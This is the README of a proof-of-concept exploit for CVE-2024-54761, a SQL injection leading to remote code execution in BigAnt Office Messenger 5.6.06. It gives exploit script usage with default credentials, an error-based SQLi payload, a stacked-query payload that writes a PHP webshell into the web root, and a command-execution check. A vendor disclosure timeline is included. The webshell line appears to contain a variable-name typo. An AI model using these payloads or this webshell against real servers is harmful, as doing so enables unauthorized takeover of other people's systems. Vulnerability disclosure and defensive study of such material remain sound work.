CVE-2024-54761 PoC# BigAnt Office Messenger 5.6.06 RCE via SQL Injection
SQL injection vulnerability in BigAnt Messenger causes RCE vulnerability. Follow the steps to exploit.
Usage:
```
CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
-h, --help show this help message and exit
-r, --rhost RHOST Target IP address
-p, --rport RPORT Target port (default 8000)
-u, --username USERNAME
Login username (default admin)
-P, --password PASSWORD
Login password in plain text
```
Run exploit for default credentials.
```
python CVE-2024-54761.py -r 127.0.0.1
```
<img width="643" height="241" alt="exploit" src="https://github.com/user-attachments/assets/7219f1bc-415c-4f7f-be8e-bd4bf690e0e6" />
# Manual exploit
Extract the database version used with the `dev_code` parameter that is exposed to SQLi.
```python
# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--
```

Upload php webshell on target using SQL stack queries.
```python
# Payload
?dev_code=;SELECT "<?php system($GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -
```

Proof of command execution:
```python
/shell.php?cmd=whoami
```


# Timeline
31-10-2024: Submitted vulnerabilities to vendor via email
31-10-2024: Emailed vendor, no response
15-11-2024: Emailed vendor, no response
15-11-2024: Requested CVEs
# Reference
https://gist.github.com/nscan9/a31982c90ab40a8e00373bf15efbf52a
https://www.bigantsoft.com
[4.0K] /data/pocs/0eda5a43b50960070676c1fd731e5e72864dad56
├── [5.6K] CVE-2024-54761.py
└── [1.9K] README.md
0 directories, 2 files